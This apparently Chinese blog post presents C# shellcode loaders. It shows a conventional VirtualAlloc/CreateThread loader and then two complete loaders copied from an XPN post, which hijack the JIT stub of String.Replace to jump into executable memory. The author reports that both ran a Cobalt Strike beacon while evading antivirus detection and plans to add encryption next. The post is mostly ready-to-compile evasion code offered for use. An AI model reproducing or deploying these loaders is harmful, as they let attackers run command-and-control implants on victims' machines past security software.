c#非常规加载shellcode

该方法来源于国外某博客,在查阅并学习国外安全技术的过程中发现,遂记录一下。

但是不得不说,这个方式是2020年5月的时候就已经出现了,但是目前网络上搜索c#加载shellcode的方式的话,绝大部分仍然是哪几种,不一样的仅是在加载shellcode的基础上添加了一下其他的混淆或者绕过操作,但是其加载核心还是没变的;但是目前这个,我在看文章的时候就大呼牛批,原来还能这样,在看完文章后,我也自己试试这种方式能不能行。

常规的加载方式

在说非常规的加载方式之前,先来看一看常规方式下的shellcode加载方式:

# 仅包含核心代码部分,无法直接编译

[DllImport("kernel32.dll")]

public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]

public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

[DllImport("kernel32.dll")]

public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

public static void StartShellcode(byte[] shellcode)

{

    uint threadId;

    IntPtr alloc = VirtualAlloc(IntPtr.Zero, shellcode.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ExecuteReadWrite);

    if (alloc == IntPtr.Zero) {

        return;

    }

    Marshal.Copy(shellcode, 0, alloc, shellcode.Length);

    IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, out threadId);

    WaitForSingleObject(threadHandle, 0xFFFFFFFF);

}

这是目前最主流以及常规的c#加载shellcode的方式,但是该方式目前以及进了很多杀软的特征库,或者说被发现到文件中含有这些明显的特征,会容易被识别为恶意软件。

我也通过c#改了很多个版本的shellcode加载器,但是无非也是在上面这种方式的基础上,对shellcode进行加密,然后通过判断一些参数的传入来判断是否jiazaishellcode,但是本身该方式的特征仍未改变;且我目前已知的c#加载shellcode中,主要也是对shellcode进行加密,通过一个加密器处理shellcode,然后再通过加载器加载shellcode的处理过程。所以说我对于新发现的这种加载方式感到好奇,并打算测试一下。

由于我对于代码的理解以及知识并不能支撑我将具体的作用描述出来,我只是出于学习以及好奇的目的研究了下述的加载shellcode方式,若有对原文或者原理感兴趣的师傅,请跳转原文进行查阅,原文链接放在文末。

非常规加载方式

c#非常规加载shellcode的过程中,作者通过劫持 JIT 编译以执行非托管代码,具体的原理及技术由于我能力有限,无法看懂,所以我只能测试代码的可行性。

使用的是.net5版本,我用.net6试过,Windows10主机无法正常上线。

非常规加载方式完整代码:

using System;

using System.Runtime.InteropServices;

namespace CsharpLoad1

{

    public class ExecShell

    {

        public static void Execute(byte[] shellcode)

        {

            // mov rax, 0x4141414141414141

            // jmp rax

            var jmpCode = new byte[] { 0x48, 0xB8, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xFF, 0xE0 };

            var t = typeof(System.String);

            var mt = Marshal.PtrToStructure<Internals.MethodTable>(t.TypeHandle.Value);

            var ec = Marshal.PtrToStructure<Internals.EEClass>(mt.m_pEEClass);

            var mdc = Marshal.PtrToStructure<Internals.MethodDescChunk>(ec.m_pChunks);

            var md = Marshal.PtrToStructure<Internals.MethodDesc>(ec.m_pChunks + 0x18);

            if ((md.m_wFlags & Internals.mdcHasNonVtableSlot) != Internals.mdcHasNonVtableSlot)

            {

                Console.WriteLine("[x] Error: mdcHasNonVtableSlot not set for this MethodDesc");

                return;

            }

            // 获取字符串。替换方法存根

            IntPtr stub = Marshal.ReadIntPtr(ec.m_pChunks + 0x18 + 8);

            // 用p/invoke分配内存

            var mem = Internals.VirtualAlloc(IntPtr.Zero, shellcode.Length, Internals.AllocationType.Commit | Internals.AllocationType.Reserve, Internals.MemoryProtection.ExecuteReadWrite);

            Marshal.Copy(shellcode, 0, mem, shellcode.Length);

            // 将存根指向shellcode

            Marshal.Copy(jmpCode, 0, stub, jmpCode.Length);

            Marshal.WriteIntPtr(stub + 2, mem);

            // 发射!(加载)

            // 如果注释掉的话会无法上线,不知道这个的含义

            //"ANYSTRING".Replace("XPN", "WAZ'ERE", true, null);

            "ANYSTRING".Replace("Dev", "test", true, null);

        }

    }

    public static class Internals

    {

        [StructLayout(LayoutKind.Explicit)]

        public struct MethodTable

        {

            [FieldOffset(0)]

            public uint m_dwFlags;

            [FieldOffset(0x4)]

            public uint m_BaseSize;

            [FieldOffset(0x8)]

            public ushort m_wFlags2;

            [FieldOffset(0x0a)]

            public ushort m_wToken;

            [FieldOffset(0x0c)]

            public ushort m_wNumVirtuals;

            [FieldOffset(0x0e)]

            public ushort m_wNumInterfaces;

            [FieldOffset(0x10)]

            public IntPtr m_pParentMethodTable;

            [FieldOffset(0x18)]

            public IntPtr m_pLoaderModule;

            [FieldOffset(0x20)]

            public IntPtr m_pWriteableData;

            [FieldOffset(0x28)]

            public IntPtr m_pEEClass;

            [FieldOffset(0x30)]

            public IntPtr m_pPerInstInfo;

            [FieldOffset(0x38)]

            public IntPtr m_pInterfaceMap;

        }

        [StructLayout(LayoutKind.Explicit)]

        public struct EEClass

        {

            [FieldOffset(0)]

            public IntPtr m_pGuidInfo;

            [FieldOffset(0x8)]

            public IntPtr m_rpOptionalFields;

            [FieldOffset(0x10)]

            public IntPtr m_pMethodTable;

            [FieldOffset(0x18)]

            public IntPtr m_pFieldDescList;

            [FieldOffset(0x20)]

            public IntPtr m_pChunks;

        }

        [StructLayout(LayoutKind.Explicit)]

        public struct MethodDescChunk

        {

            [FieldOffset(0)]

            public IntPtr m_methodTable;

            [FieldOffset(8)]

            public IntPtr m_next;

            [FieldOffset(0x10)]

            public byte m_size;

            [FieldOffset(0x11)]

            public byte m_count;

            [FieldOffset(0x12)]

            public byte m_flagsAndTokenRange;

        }

        [StructLayout(LayoutKind.Explicit)]

        public struct MethodDesc

        {

            [FieldOffset(0)]

            public ushort m_wFlags3AndTokenRemainder;

            [FieldOffset(2)]

            public byte m_chunkIndex;

            [FieldOffset(0x3)]

            public byte m_bFlags2;

            [FieldOffset(0x4)]

            public ushort m_wSlotNumber;

            [FieldOffset(0x6)]

            public ushort m_wFlags;

            [FieldOffset(0x8)]

            public IntPtr TempEntry;

        }

        public const int mdcHasNonVtableSlot = 0x0008;

        [Flags]

        public enum AllocationType

        {

            Commit = 0x1000,

            Reserve = 0x2000,

            Decommit = 0x4000,

            Release = 0x8000,

            Reset = 0x80000,

            Physical = 0x400000,

            TopDown = 0x100000,

            WriteWatch = 0x200000,

            LargePages = 0x20000000

        }

        [Flags]

        public enum MemoryProtection

        {

            Execute = 0x10,

            ExecuteRead = 0x20,

            ExecuteReadWrite = 0x40,

            ExecuteWriteCopy = 0x80,

            NoAccess = 0x01,

            ReadOnly = 0x02,

            ReadWrite = 0x04,

            WriteCopy = 0x08,

            GuardModifierflag = 0x100,

            NoCacheModifierflag = 0x200,

            WriteCombineModifierflag = 0x400

        }

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]

        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

    }

}

若要实现上线,只需要传入shellcode即可。

这种方式是通过传入shellcode然后再进行加载,具体的代码含义目前我无法理解。

还有一种就是通过传入Beacon.bin文件的路径,然后读取文件内容传入到加载器,实现上线。

using System;

using System.Reflection;

using System.Runtime.InteropServices;

using System.Linq;

namespace NautilusProject

{

    internal class CombinedExec

    {

        public static IntPtr AllocMemory(int length)

        {

            var kernel32 = typeof(System.String).Assembly.GetType("Interop+Kernel32");

            var VirtualAlloc = kernel32.GetMethod("VirtualAlloc", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);

            var ptr = VirtualAlloc.Invoke(null, new object[] { IntPtr.Zero, new UIntPtr((uint)length), Internals.AllocationType.Commit | Internals.AllocationType.Reserve, Internals.MemoryProtection.ExecuteReadWrite });

            IntPtr mem = (IntPtr)ptr.GetType().GetMethod("GetPointerValue", BindingFlags.NonPublic | BindingFlags.Instance).Invoke(ptr, new object[] { });

            return mem;

        }

        public static void WriteMemory(IntPtr addr, IntPtr value)

        {

            var mngdRefCustomeMarshaller = typeof(System.String).Assembly.GetType("System.StubHelpers.MngdRefCustomMarshaler");

            var CreateMarshaler = mngdRefCustomeMarshaller.GetMethod("CreateMarshaler", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);

            CreateMarshaler.Invoke(null, new object[] { addr, value });

        }

        public static IntPtr ReadMemory(IntPtr addr)

        {

            var stubHelper = typeof(System.String).Assembly.GetType("System.StubHelpers.StubHelpers");

            var GetNDirectTarget = stubHelper.GetMethod("GetNDirectTarget", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);

            IntPtr unmanagedPtr = Marshal.AllocHGlobal(200);

            for (int i = 0; i < 200; i += IntPtr.Size)

            {

                Marshal.Copy(new[] { addr }, 0, unmanagedPtr + i, 1);

            }

            return (IntPtr)GetNDirectTarget.Invoke(null, new object[] { unmanagedPtr });

        }

        public static void CopyMemory(byte[] source, IntPtr dest)

        {

            // Pad to IntPtr length

            if ((source.Length % IntPtr.Size) != 0)

            {

                source = source.Concat<byte>(new byte[source.Length % IntPtr.Size]).ToArray();

            }

            GCHandle pinnedArray = GCHandle.Alloc(source, GCHandleType.Pinned);

            IntPtr sourcePtr = pinnedArray.AddrOfPinnedObject();

            for (int i = 0; i < source.Length; i += IntPtr.Size)

            {

                WriteMemory(dest + i, ReadMemory(sourcePtr + i));

            }

        }

        public static void Execute(byte[] shellcode)

        {

            // mov rax, 0x4141414141414141

            // jmp rax

            var jmpCode = new byte[] { 0x48, 0xB8, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xFF, 0xE0 };

            var t = typeof(System.String);

            var ecBase = ReadMemory(t.TypeHandle.Value + 0x28);

            var mdcBase = ReadMemory(ecBase + 0x20);

            IntPtr stub = ReadMemory(mdcBase + 0x18 + 8);

            var kernel32 = typeof(System.String).Assembly.GetType("Interop+Kernel32");

            var VirtualAlloc = kernel32.GetMethod("VirtualAlloc", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);

            var ptr = VirtualAlloc.Invoke(null, new object[] { IntPtr.Zero, new UIntPtr((uint)shellcode.Length), Internals.AllocationType.Commit | Internals.AllocationType.Reserve, Internals.MemoryProtection.ExecuteReadWrite });

            IntPtr mem = (IntPtr)ptr.GetType().GetMethod("GetPointerValue", BindingFlags.NonPublic | BindingFlags.Instance).Invoke(ptr, new object[] { });

            CopyMemory(shellcode, mem);

            CopyMemory(jmpCode, stub);

            WriteMemory(stub + 2, mem);

            "ANYSTRING".Replace("XPN", "WAZ'ERE", true, null);

        }

        public static class Internals

        {

            [Flags]

            public enum AllocationType

            {

                Commit = 0x1000,

                Reserve = 0x2000,

                Decommit = 0x4000,

                Release = 0x8000,

                Reset = 0x80000,

                Physical = 0x400000,

                TopDown = 0x100000,

                WriteWatch = 0x200000,

                LargePages = 0x20000000

            }

            [Flags]

            public enum MemoryProtection

            {

                Execute = 0x10,

                ExecuteRead = 0x20,

                ExecuteReadWrite = 0x40,

                ExecuteWriteCopy = 0x80,

                NoAccess = 0x01,

                ReadOnly = 0x02,

                ReadWrite = 0x04,

                WriteCopy = 0x08,

                GuardModifierflag = 0x100,

                NoCacheModifierflag = 0x200,

                WriteCombineModifierflag = 0x400

            }

        }

    }

}

传入Beacon.bin的路径,实现上线。

以上两种方式,均成功实现cs上线,但是由于对代码的能力不够,也只能实现程序的正常运行,其他高阶的知识还不会。

且由于是.net框架编译,在编译时,会生成一个exe文件和一个dll文件,还不知道如何取消或者说能不能取消dll文件的生成,因为在未做其他处理的情况下生成的dll文件还是会被识别为恶意。

后续使用

后续可以对shellcode进行加密然后对函数进行简单的变形再观察杀软的查杀情况。

代码能力的不足导致文中很多技术也无法看懂,不清楚具体原理。

原文链接:[在 .NET 中运行非托管代码的奇怪方法](https://blog.xpnsec.com/weird-ways-to-execute-dotnet/)

文章代码:[原文作者的代码](https://github.com/xpn/NautilusProject)